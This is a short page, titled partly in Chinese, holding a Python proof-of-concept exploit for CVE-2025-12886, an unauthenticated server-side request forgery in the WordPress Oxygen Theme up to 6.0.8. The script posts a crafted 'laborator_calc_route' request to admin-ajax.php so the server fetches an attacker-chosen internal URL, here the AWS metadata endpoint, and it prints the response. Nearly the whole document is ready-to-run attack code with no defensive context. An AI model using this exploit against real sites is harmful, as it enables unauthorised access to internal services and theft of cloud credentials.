CVE-2025-12886 WordPress Oxygen Theme SSRF漏洞

import requests def exploit_ssrf(target_url, internal_url): """ PoC for CVE-2025-12886 Exploits unauthenticated SSRF in Oxygen Theme <= 6.0.8 """ # The vulnerable AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Payload data targeting the vulnerable action data = { "action": "laborator_calc_route", "route": internal_url # The parameter that triggers the request } try: print(f"[*] Sending request to {ajax_url}...") response = requests.post(ajax_url, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully!") print(f"[+] Response content:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target # Example internal target (AWS Metadata) internal_target = "http://169.254.169.254/latest/meta-data/" exploit_ssrf(target, internal_target)